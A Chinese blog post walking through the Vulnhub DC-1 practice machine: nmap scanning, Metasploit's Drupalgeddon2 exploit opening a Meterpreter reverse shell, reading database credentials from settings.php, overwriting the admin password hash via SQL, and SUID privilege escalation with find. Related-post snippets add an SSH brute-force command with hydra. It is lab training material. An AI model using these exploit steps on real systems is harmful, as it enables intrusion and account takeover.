Vulnhub靶机渗透学习——DC-1

已于 2023-10-13 18:21:42 修改
阅读量156 收藏
点赞数 1
分类专栏： Vulnhub靶机DC系列 文章标签： 学习 web安全 安全
于 2023-10-13 18:11:59 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_45612828/article/details/133816081
版权

Vulnhub靶机

Vulnhub靶机下载：/
官网地址：https://download.vulnhub.com/dc/DC-1.zip
Vulnhub靶机安装：
下载好了把安装包解压 然后使用VMware即可。
image.png
image.png
DC-1：找到 5个flag

环境准备

攻击机：kali
靶机：DC-1
同一网卡

DC-1靶机渗透

信息收集

使用kali自带的nmap探测整个虚拟机网段存活主机，发现靶机ip’：

nmap -sP -PI -PT 192.168.0.1/24

image.png
确认ip后，可以探测一下开放的端口信息及服务：

nmap -sCV 192.168.0.129

image.png
可以看到开放了22、80、111端口，22端口一般利用思路就是ssh远程连接、可以尝试爆破但成功几率很小，80端口利用思路就是从网站寻找漏洞，注意nmap扫描出的80端口开放的服务里面有robots.txt等等敏感文件，可以尝试利用。

漏洞发现

接下来先用浏览器访问80端口，利用浏览器插件Wappalyzer查看网站框架服务
image.png
可以看到网站使用的是PHP语言编写的开源内容管理系统Drupal 7
image.pngimage.png
该 CMS 版本存在很多历史漏洞

漏洞利用

直接上msf搜索drupal相关利用模块

msf6 > search drupal

Matching Modules
================

   #  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  exploit/unix/webapp/drupal_coder_exec          2016-07-13       excellent  Yes    Drupal CODER Module Remote Command Execution
   1  exploit/unix/webapp/drupal_drupalgeddon2       2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection
   2  exploit/multi/http/drupal_drupageddon          2014-10-15       excellent  No     Drupal HTTP Parameter Key/Value SQL Injection
   3  auxiliary/gather/drupal_openid_xxe             2012-10-17       normal     Yes    Drupal OpenID External Entity Injection
   4  exploit/unix/webapp/drupal_restws_exec         2016-07-13       excellent  Yes    Drupal RESTWS Module Remote PHP Code Execution
   5  exploit/unix/webapp/drupal_restws_unserialize  2019-02-20       normal     Yes    Drupal RESTful Web Services unserialize() RCE
   6  auxiliary/scanner/http/drupal_views_user_enum  2010-07-02       normal     Yes    Drupal Views Module Users Enumeration
   7  exploit/unix/webapp/php_xmlrpc_eval            2005-06-29       excellent  Yes    PHP XML-RPC Arbitrary Code Execution


Interact with a module by name or index. For example info 7, use 7 or use exploit/unix/webapp/php_xmlrpc_eval

msf6 > use 1
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > info

       Name: Drupal Drupalgeddon 2 Forms API Property Injection
     Module: exploit/unix/webapp/drupal_drupalgeddon2
   Platform: PHP, Unix, Linux
       Arch: php, cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-03-28

Provided by:
  Jasper Mattsson
  a2u
  Nixawk
  FireFart
  wvu <wvu@metasploit.com>

Available targets:
  Id  Name
  --  ----
  0   Automatic (PHP In-Memory)
  1   Automatic (PHP Dropper)
  2   Automatic (Unix In-Memory)
  3   Automatic (Linux Dropper)
  4   Drupal 7.x (PHP In-Memory)
  5   Drupal 7.x (PHP Dropper)
  6   Drupal 7.x (Unix In-Memory)
  7   Drupal 7.x (Linux Dropper)
  8   Drupal 8.x (PHP In-Memory)
  9   Drupal 8.x (PHP Dropper)
  10  Drupal 8.x (Unix In-Memory)
  11  Drupal 8.x (Linux Dropper)

Check supported:
  Yes

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  DUMP_OUTPUT  false            no        Dump payload command output
  PHP_FUNC     passthru         yes       PHP function to execute
  Proxies                       no        A proxy chain of format type:host:port[,type:hos
                                          t:port][...]
  RHOSTS                        yes       The target host(s), see https://github.com/rapid
                                          7/metasploit-framework/wiki/Using-Metasploit
  RPORT        80               yes       The target port (TCP)
  SSL          false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI    /                yes       Path to Drupal install
  VHOST                         no        HTTP server virtual host

Payload information:
  Avoid: 3 characters

Description:
  This module exploits a Drupal property injection in the Forms API. 
  Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are 
  vulnerable.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2018-7600
  https://www.drupal.org/sa-core-2018-002
  https://greysec.net/showthread.php?tid=2912
  https://research.checkpoint.com/uncovering-drupalgeddon-2/
  https://github.com/a2u/CVE-2018-7600
  https://github.com/nixawk/labs/issues/19
  https://github.com/FireFart/CVE-2018-7600

Also known as:
  SA-CORE-2018-002
  Drupalgeddon 2

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.0.129
RHOSTS => 192.168.0.129
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 192.168.0.10:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Sending stage (39282 bytes) to 192.168.0.119
[*] Meterpreter session 1 opened (192.168.0.10:4444 -> 192.168.0.119:57515) at 2022-12-10 00:53:43 -0500
meterpreter >

可以看到利用msf的模块直接利用历史漏洞建立了一个了会话
image.png
进入 shell
image.png
可以看到只是一个网站权限，ls 目录下有第一个 flag 文件，cat 一下
image.png
提示下一个 flag 要从网站配置文件入手，接下来在寻找配置文件之前，先建立一个稳定 shell

which python
python -c 'import pty;pty.spawn("/bin/bash")'

which python 存在 python 环境，利用 python 建立一个稳定 shell
image.png
接下来谷歌搜索了一下该 cms 的配置文件路径/var/www/sites/default/settings.php
image.png
查看配置文件
image.png
看到了 flag2 和数据库用户密码，flag2 提示：

暴力破解和字典攻击并不是获得访问权限的唯一途径(你也需要访问权限)。你能用这些凭证做什么

先进数据库看看有没有啥有用的信息

mysql -u dbuser -pR0ck3t

image.png

show databases;

image.png

use drupaldb;

image.png

show tables;

image.png

select * from users;

image.png
可以看到 admin 用户和 hash 加密的密码，这里可能第一想法就是爆破这个密码，但前面提示了爆破并不是唯一的方法，所以这里尝试利用更新数据库的 admin 密码来替换成新的密码，但前提是得先将密码从明文加密成与数据库存储的密文的加密方式一样，这里谷歌搜索了一下
image.png
https://drupalchina.cn/node/2128
image.png
发现在网站的scripts/目录下存在一个加密脚本password-hash.sh，利用 php 执行该脚本即可将明文加密成 hash 密文，于是去网站目录寻找，发现确实存在该脚本
image.png

php scripts/password-hash.sh admin

利用该脚本生成一个 明文为 admin 的加密密文
image.png

$S$Dq14obdhz1OppZXq54lGR7A66PzCW.AYpsLfrz90kSAWVMHFKWkA

将这窜密文利用 sql 语句更新替换 admin 用户的密码

##修改密码
update drupaldb.users set pass="$S$Dq14obdhz1OppZXq54lGR7A66PzCW.AYpsLfrz90kSAWVMHFKWkA" where name="admin";

image.png
替换成功，现在 admin 的密码应该为 admin，去网站登录一下
image.png
在 content 中 发现 flag3
image.png

特殊的PERMS将帮助查找passwd -但是您需要-执行该命令才能知道如何获得阴影中的内容。
关键词：perms、find、-exec、shadow

这里查看一下/etc/passwd

cat /etc/passwd

image.png
发现了一个 flag4 用户，去 flag4 用户目录查看一下
image.png
发现 flag4 的提示

您可以使用相同的方法来查找或访问根中的标志吗?
可能。但也许没那么容易。也许是这样?

SUID 提权

这里利用 find 命令来查看一下具有root权限的suid 命令

find / -type f -user root -perm -4000 2>/dev/null
find / -perm -4000
find / -perm -u=s -type f 2>/dev/null

image.png
发现 find 命令就在其中，尝试利用 find 提权，这里提供一个提权命令的辅助网站
https://gtfobins.github.io/
直接查询 find 命令提权方式
image.png
image.png

find . -exec /bin/sh \; -quit

image.png
成功提权到 root 用户

获取 Flag

image.png

靶场总结

  1. Metasploit的EXP使用
  2. drupal 7的漏洞
  3. 通过配置文件获取数据库账号
  4. 数据库更新密码
  5. SUID 提权——find
Never say die _
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Vulnhub-DC-1 靶机复现完整过程
Continuejww的博客
07-19 241
1.扫描局域网主机netdiscover用法2.开放端口扫描2.MSF使用3.hydra爆破：sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.0.100hydra+John密码包以上两种方式可以爆出flag4的密码4.suid提权：Linux下用SUID提权、find命令exec欢迎指正！
Vulnhub靶机实战——DC-3
冠霖L的博客
09-27 9077
靶机DC-3下载地址：https://download.vulnhub.com/dc/DC-3.zip 靶机DC-3VMware下载地址：https://download.vulnhub.com/dc/DC-3VMware.zip 注：开始将DC-3.ova文件导入VMware虚拟机，发现无法获取到靶机IP地址，作者在DC-3靶机下载页面提到可以下载已经搭建好的DC-3VMware，然...
[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-1 通关详解
qq_58091216的博客
09-25 1095
13. 我们切换语句进入shell，执行whoami查看当前权限，执行ls查看当前目录下文件，切换到root目录，查看文件，发现cat thefinalflag.txt文件。15. 此时我们查看 /etc/passwd 文件，发现存在 flag4 用户，我们也可以使用 hydra 进行爆破。2) 查看数据库，切换到drupaldb数据库，查看查找默认的Drupal user 表，发现admin信息。5. 虚拟机开启之后需要登录，我们不知道密码，需要探活ip地址，网段知道:192.168.52.0/24。
vulnhub靶场 DC-1靶机 渗透详细过程
最新发布
黑战士的博客
07-26 1027
1.扫描局域网主机netdiscover用法2.开放端口扫描2.MSF使用3.hydra爆破：sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.0.100hydra+John密码包以上两种方式可以爆出flag4的密码4.suid提权：Linux下用SUID提权、find命令exec。
VulnHub系列（一）DC-1
2022年7月6日从博客园https://www.cnblogs.com/hugboy/ 学习记录博客。
05-08 3340
环境 kali linux 和 DC-1 都是搭建在VMware上的虚拟机，都是NAT模式。 主机发现 NAT模式下虚拟机没有被分配真实的ip地址，他们通过共享宿主机的ip地址访问互联网。我们可以通过它的MAC地址00:0C:29:23:E2:8D查到宿主机分配给他的虚拟ip。 arp-scan -l=>192.168.62.134 还有另一种方法，假设我们已经和目标在同一个局域网下：...
[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-1 通关详解 (附靶机搭建教程)
qq_51577576的博客
03-14 8349
[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-1 通关详解 从信息收集到拿到低权限，最后提权获取最高权限，详细解读
vulnhub练习 DC-1复现及分析
黑战士的博客
02-20 999
1.扫描局域网主机netdiscover用法2.开放端口扫描2.MSF使用3.hydra爆破：sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.0.100hydra+John密码包以上两种方式可以爆出flag4的密码4.suid提权：Linux下用SUID提权、find命令exec。
Vulnhub靶机渗透测试——DC-1
Cobra的博客
04-12 2534
Vulnhub靶机渗透测试实战——DC-1 一、实验环境 攻击机（kali）: 192.168.189.148 靶机（ubuntu）: 192.168.189.172] 二、信息收集 1、使用nmap扫描进行主机发现 nmap 192.168.189.0/24 2、发现IP为192.168.189.172主机开放80和22等端口，访问其80端口 三、漏洞利用 1、发现该站点是由Drupal搭建，利用msf进行漏洞利用 use exploit/unix/webapp/drupal_drupalgedd
Vulnhub靶机:DC-1渗透详细过程
菜鸟学渗透
04-01 757
Vulnhub靶机:DC-1渗透详细过程
Vulnhub靶机实战——DC-2
冠霖L的博客
09-27 4762
靶机DC-2下载地址：https://download.vulnhub.com/dc/DC-2.zip 描述：靶机DC-2与DC-1一样，共有5个flag，但最终需要root权限才可以找到并查看flag 环境：Vmware 15 Pro虚拟机软件 DC-1靶机IP地址：192.168.220.132 Kali的IP地址：192.168.22...
Vulnhub靶机实战——DC-1
冠霖L的博客
09-27 1963
靶机DC-1下载地址：https://download.vulnhub.com/dc/DC-1.zip 描述：靶机DC-1共有5个flag，并且需要root权限才可以找到并查看flag 环境：Vmware 15 Pro虚拟机软件 DC-1靶机IP地址：192.168.220.130 Kali的IP地址：192.168.220.131 本...
Vulnhub靶机实战——DC-7
冠霖L的博客
10-29 4933
靶机DC-7下载地址：https://download.vulnhub.com/dc/DC-7.zip 环境：VMware 15虚拟机软件 DC-7靶机IP地址：192.168.220.154 Kali的IP地址：192.168.220.155 DC-6靶机与kali都以NAT模式连接到网络，查看kali的IP地址：192.168.220.155...
Vulnhub靶机实战——DC-5
冠霖L的博客
10-27 4899
靶机DC-5下载地址：https://download.vulnhub.com/dc/DC-5.zip 环境：VMware 15虚拟机软件 DC-5靶机IP地址：192.168.220.139 Kali的IP地址：192.168.220.145 DC-5靶机与kali都以NAT模式连接到网络，查看kali的IP地址：192.168.220.145 ...
VulnHub DC-1
weixin_45682839的博客
04-13 342
VnlnHub DC-1靶场攻关攻略记录，五个flag，获得root权限。
Vulnhub-DC-1实战靶场
ierciyuan的博客
10-12 2539
本次靶场实战涉及信息收集、漏洞查找与利用、getshell、数据库渗透、密码破解、linux提权，并找到官方设计的5个flag。
vulnhub之DC1靶机
LainWith的博客
08-15 1256
靶机概览信息收集nmap信息收集网站信息收集使用nikto来收集一下渗透攻击查找漏洞 靶机概览 详情介绍请参考下载地址 任务目标：拿下系统的root账户 下载地址：https://www.vulnhub.com/entry/dc-1,292/ 靶机界面： 信息收集 由于我这里采用了NAT，所以很容易确定目标机器，如果你的网络环境里有众多机器，并且系统版本与靶机相似，且不方便更换连接虚拟机的方式，你可以先查看一下DC1的MAC，这样做主机发现时可以通过MAC来过滤靶机。 nmap信息收集 1：使用nma.
vulnhub靶场实战：DC-1
huangyongkang666的博客
04-18 4502
vulnhub实战：DC-1 1.DC-1介绍 DC-1是一个专门构建的易受攻击的实验室，目的是在渗透测试领域获得经验。 它旨在为初学者带来挑战，但它的容易程度将取决于您的技能和知识以及您的学习能力。 要成功完成此挑战，您将需要Linux技能，熟悉Linux命令行以及具有基本渗透测试工具的经验，例如可以在Kali Linux或Parrot Security OS上找到的工具。 有多种方法可以获得root，但是，我包含了一些包含初学者线索的标志。 总共有五个flag，但最终目标是在root的主目录中找到并读取
Vulnhub 靶机实战系列：DC -1
weixin_45752674的博客
05-29 415
靶机搭建 靶机下载地址： https://www.five86.com/dc-1.html 靶机DC-1与kali都以NAT模式连接网络 信息收集 1.使用arp-scan探索 arp-scan -l //命令探测同一区域中存活主机 kali ip：192.168.175.134 DC-1 ip：192.168.175.128 2.使用Namp扫描 Namp -A 192.168.175.128 //全面扫描 开放了22 ssh、80 http apache、111 rpcbind 3.访问
vulnhub的DC-1
BurYiA的博客
05-02 608
文章目录vulnhub的DC-1准备工作1.主机查找2.信息搜集3.正文方法一方法二 vulnhub的DC-1 大神们可以退场了，小白的第一篇文章，可能会有很多错误，很多地方可能也会说不清楚。望见谅。 前段时间了解到这个平台，然后就开始难受了，真心不会做（就是太菜了）。闲话就不多说了，开始吧 准备工作 1.DC-1虚拟机（可能得搭梯子，自行尝试） 2.kali虚拟机 1.主机查找 这个就是基本操作...
Vulnhub靶机渗透环境搭建及JIS-CTF入门实践
在这篇文章中，我们将学习如何搭建Vulnhub靶机渗透环境，并学习JIS-CTF入门知识，以及蚁剑提权示例。本文将详细讲解Vulnhub靶机渗透的环境搭建和JIS-CTF题目，采用Nmap、Dirb、中国蚁剑、敏感文件分析、SSH远程连接...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值